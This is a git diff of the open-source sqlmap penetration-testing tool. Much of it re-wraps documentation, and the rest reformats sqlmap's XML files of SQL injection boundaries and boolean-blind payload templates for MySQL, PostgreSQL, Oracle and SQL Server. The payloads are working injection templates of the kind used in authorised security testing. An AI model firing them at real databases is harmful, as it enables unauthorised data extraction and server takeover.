diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md index 2a36badf3..4799ca91d 100644 --- a/.github/CODE_OF_CONDUCT.md +++ b/.github/CODE_OF_CONDUCT.md @@ -2,7 +2,10 @@ ## Our Pledge -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making +participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, +disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, +religion, or sexual identity and orientation. ## Our Standards @@ -24,23 +27,35 @@ Examples of unacceptable behavior by participants include: ## Our Responsibilities -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take +appropriate and fair corrective action in response to any instances of unacceptable behavior. -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, +issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any +contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the +project or its community. Examples of representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed representative at an online or offline +event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at +dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems +appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter +of an incident. Further details of specific enforcement policies may be posted separately. -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent +repercussions as determined by other members of the project's leadership. ## Attribution -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available +at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org + [version]: http://contributor-covenant.org/version/1/4/ diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index 2ae806856..9b6f5ce58 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -7,30 +7,53 @@ Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/s ### Guidelines -* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. +* Before you submit a bug report, search + both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) + and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue + has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything + relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. -* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. -* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* +* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled + exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case ( + just a few lines) is ideal. +* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this + feature be useful?* ## Submitting code changes -All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). +All code contributions are greatly appreciated. First off, clone +the [Git repository](https://github.com/sqlmapproject/sqlmap), read +the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself +and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We +apologize for not commenting the code enough - you could take a chance to read it through +and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). -Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). -Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! +Our preferred method of patch submission is via a +Git [pull request](https://help.github.com/articles/using-pull-requests). +Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to +the sqlmap development. **You** can be the next! ### Guidelines -In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: +In order to maintain consistency and readability throughout the code, we ask that you adhere to the following +instructions: * Each patch should make one logical change. * Avoid tabbing, use four blank spaces instead. * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). -* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. -* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. +* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those + before doing any major restyling, but be sure that personal preferences not having a strong support + in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. +* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five + files changed on one pull request, as this dramatically increases the review time required to land (commit) any of + those pull requests. * Style that is too different from main branch will be ''adapted'' by the developers side. * Do not touch anything inside `thirdparty/` and `extra/` folders. ### Licensing -By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. +By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source +code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the +unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to +relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to +specify special license conditions of your contributions, just say so when you send them. diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index b7753a255..378246990 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -11,6 +11,7 @@ assignees: '' A clear and concise description of what the bug is. **To Reproduce** + 1. Run '...' 2. See error @@ -21,17 +22,19 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **Running environment:** - - sqlmap version [e.g. 1.3.5.93#dev] - - Installation method [e.g. git] - - Operating system: [e.g. Microsoft Windows 10] - - Python version [e.g. 3.5.2] + +- sqlmap version [e.g. 1.3.5.93#dev] +- Installation method [e.g. git] +- Operating system: [e.g. Microsoft Windows 10] +- Python version [e.g. 3.5.2] **Target details:** - - DBMS [e.g. Microsoft SQL Server] - - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] - - WAF/IPS [if any] - - Relevant console output [if any] - - Exception traceback [if any] + +- DBMS [e.g. Microsoft SQL Server] +- SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] +- WAF/IPS [if any] +- Relevant console output [if any] +- Exception traceback [if any] **Additional context** Add any other context about the problem here. diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 674ae2a00..8dee52137 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -9,7 +9,7 @@ jobs: runs-on: ${{ matrix.os }} strategy: matrix: - os: [ubuntu-latest, macos-latest, windows-latest] + os: [ ubuntu-latest, macos-latest, windows-latest ] python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ] steps: - uses: actions/checkout@v2 diff --git a/README.md b/README.md index 3ac67dbca..756f4844d 100644 --- a/README.md +++ b/README.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. +sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection +flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the +ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from +the database, accessing the underlying file system, and executing commands on the operating system via out-of-band +connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. +You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating +some of the features on the wiki. Installation ---- -You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). +You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest +zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform. +sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any +platform. Usage ---- @@ -34,13 +41,15 @@ To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). -To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, +along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- * Homepage: https://sqlmap.org -* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/data/html/index.html b/data/html/index.html index 576f2763b..20ba22d9b 100644 --- a/data/html/index.html +++ b/data/html/index.html @@ -11,10 +11,12 @@ - + -
- -
-
-

DEMO

+
+
+

DEMO

+
-
- - + + diff --git a/data/xml/banner/server.xml b/data/xml/banner/server.xml index 4d99cade0..f23a47734 100644 --- a/data/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -604,7 +604,7 @@ - + @@ -834,7 +834,8 @@ - + diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index fb41a83c0..ec9856b73 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -120,7 +120,7 @@ Formats: 1,2 1 ) - AND ([RANDNUM]=[RANDNUM] + AND ([RANDNUM]=[RANDNUM] @@ -129,7 +129,7 @@ Formats: 1,2 1 )) - AND (([RANDNUM]=[RANDNUM] + AND (([RANDNUM]=[RANDNUM] @@ -138,7 +138,7 @@ Formats: 1,2 1 ))) - AND ((([RANDNUM]=[RANDNUM] + AND ((([RANDNUM]=[RANDNUM] @@ -156,7 +156,7 @@ Formats: 1,2 2 ') - AND ('[RANDSTR]'='[RANDSTR] + AND ('[RANDSTR]'='[RANDSTR] @@ -165,7 +165,7 @@ Formats: 1,2 2 ')) - AND (('[RANDSTR]'='[RANDSTR] + AND (('[RANDSTR]'='[RANDSTR] @@ -174,7 +174,7 @@ Formats: 1,2 2 '))) - AND ((('[RANDSTR]'='[RANDSTR] + AND ((('[RANDSTR]'='[RANDSTR] @@ -183,7 +183,7 @@ Formats: 1,2 2 ' - AND '[RANDSTR]'='[RANDSTR] + AND '[RANDSTR]'='[RANDSTR] @@ -192,7 +192,7 @@ Formats: 1,2 3 ') - AND ('[RANDSTR]' LIKE '[RANDSTR] + AND ('[RANDSTR]' LIKE '[RANDSTR] @@ -201,7 +201,7 @@ Formats: 1,2 3 ')) - AND (('[RANDSTR]' LIKE '[RANDSTR] + AND (('[RANDSTR]' LIKE '[RANDSTR] @@ -210,7 +210,7 @@ Formats: 1,2 3 '))) - AND ((('[RANDSTR]' LIKE '[RANDSTR] + AND ((('[RANDSTR]' LIKE '[RANDSTR] @@ -219,7 +219,7 @@ Formats: 1,2 3 %' - AND '[RANDSTR]%'='[RANDSTR] + AND '[RANDSTR]%'='[RANDSTR] @@ -228,7 +228,7 @@ Formats: 1,2 3 ' - AND '[RANDSTR]' LIKE '[RANDSTR] + AND '[RANDSTR]' LIKE '[RANDSTR] @@ -237,7 +237,7 @@ Formats: 1,2 4 ") - AND ("[RANDSTR]"="[RANDSTR] + AND ("[RANDSTR]"="[RANDSTR] @@ -246,7 +246,7 @@ Formats: 1,2 4 ")) - AND (("[RANDSTR]"="[RANDSTR] + AND (("[RANDSTR]"="[RANDSTR] @@ -255,7 +255,7 @@ Formats: 1,2 4 "))) - AND ((("[RANDSTR]"="[RANDSTR] + AND ((("[RANDSTR]"="[RANDSTR] @@ -264,7 +264,7 @@ Formats: 1,2 4 " - AND "[RANDSTR]"="[RANDSTR] + AND "[RANDSTR]"="[RANDSTR] @@ -273,7 +273,7 @@ Formats: 1,2 5 ") - AND ("[RANDSTR]" LIKE "[RANDSTR] + AND ("[RANDSTR]" LIKE "[RANDSTR] @@ -282,7 +282,7 @@ Formats: 1,2 5 ")) - AND (("[RANDSTR]" LIKE "[RANDSTR] + AND (("[RANDSTR]" LIKE "[RANDSTR] @@ -291,7 +291,7 @@ Formats: 1,2 5 "))) - AND ((("[RANDSTR]" LIKE "[RANDSTR] + AND ((("[RANDSTR]" LIKE "[RANDSTR] @@ -300,7 +300,7 @@ Formats: 1,2 5 " - AND "[RANDSTR]" LIKE "[RANDSTR] + AND "[RANDSTR]" LIKE "[RANDSTR] @@ -328,7 +328,7 @@ Formats: 1,2 2 ' - OR '[RANDSTR1]'='[RANDSTR2] + OR '[RANDSTR1]'='[RANDSTR2] @@ -383,7 +383,7 @@ Formats: 9 1,2 1 - WHERE [RANDNUM]=[RANDNUM] + WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] @@ -532,7 +532,7 @@ Formats: 1 6 `=`[ORIGINAL]` - AND `[ORIGINAL]`=`[ORIGINAL] + AND `[ORIGINAL]`=`[ORIGINAL] @@ -541,7 +541,7 @@ Formats: 1 6 "="[ORIGINAL]" - AND "[ORIGINAL]"="[ORIGINAL] + AND "[ORIGINAL]"="[ORIGINAL] diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 67cf9940d..87169632c 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -210,13 +210,19 @@ Tag: 1 1,8,9 1 - AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT + [RANDNUM2]) END)) + - AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION + SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] - AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] + UNION SELECT [RANDNUM2]) END)) + @@ -227,13 +233,19 @@ Tag: 3 1,9 2 - OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT + [RANDNUM2]) END)) + - OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION + SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] - OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] + UNION SELECT [RANDNUM2]) END)) + @@ -530,10 +542,14 @@ Tag: 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL - AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS + NULL + - AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) + IS NULL +
PostgreSQL @@ -549,10 +565,14 @@ Tag: 2 OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL - OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS + NULL + - OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) + IS NULL +
PostgreSQL @@ -566,12 +586,18 @@ Tag: 1 1 1 - AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS + NULL + - AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) + FROM DUAL) IS NULL + - AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) + FROM DUAL) IS NULL +
Oracle @@ -585,12 +611,18 @@ Tag: 3 1 2 - OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS + NULL + - OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM + DUAL) IS NULL + - OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) + FROM DUAL) IS NULL +
Oracle @@ -606,12 +638,18 @@ Tag: 1 1,2,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) + END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT + [RANDNUM2]) END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT + [RANDNUM2]) END)) + @@ -775,12 +813,17 @@ Tag: 1 1,2,3 3 - (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + - (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END) LIMIT 1) + - (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE + 0 END) LIMIT 1) +
PostgreSQL @@ -795,12 +838,18 @@ Tag: 1 1,2,3 3 - (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) + LIMIT 1) + - (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 + ELSE 0 END) LIMIT 1) + - (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) + THEN 1 ELSE 0 END) LIMIT 1) +
PostgreSQL @@ -814,12 +863,18 @@ Tag: 1 1,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT + [RANDNUM1]) END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL + SELECT [RANDNUM1]) END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION + ALL SELECT [RANDNUM1]) END)) +
Microsoft SQL Server @@ -834,12 +889,18 @@ Tag: 1 1,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT + [RANDNUM1]) END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION + ALL SELECT [RANDNUM1]) END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] + UNION ALL SELECT [RANDNUM1]) END)) +
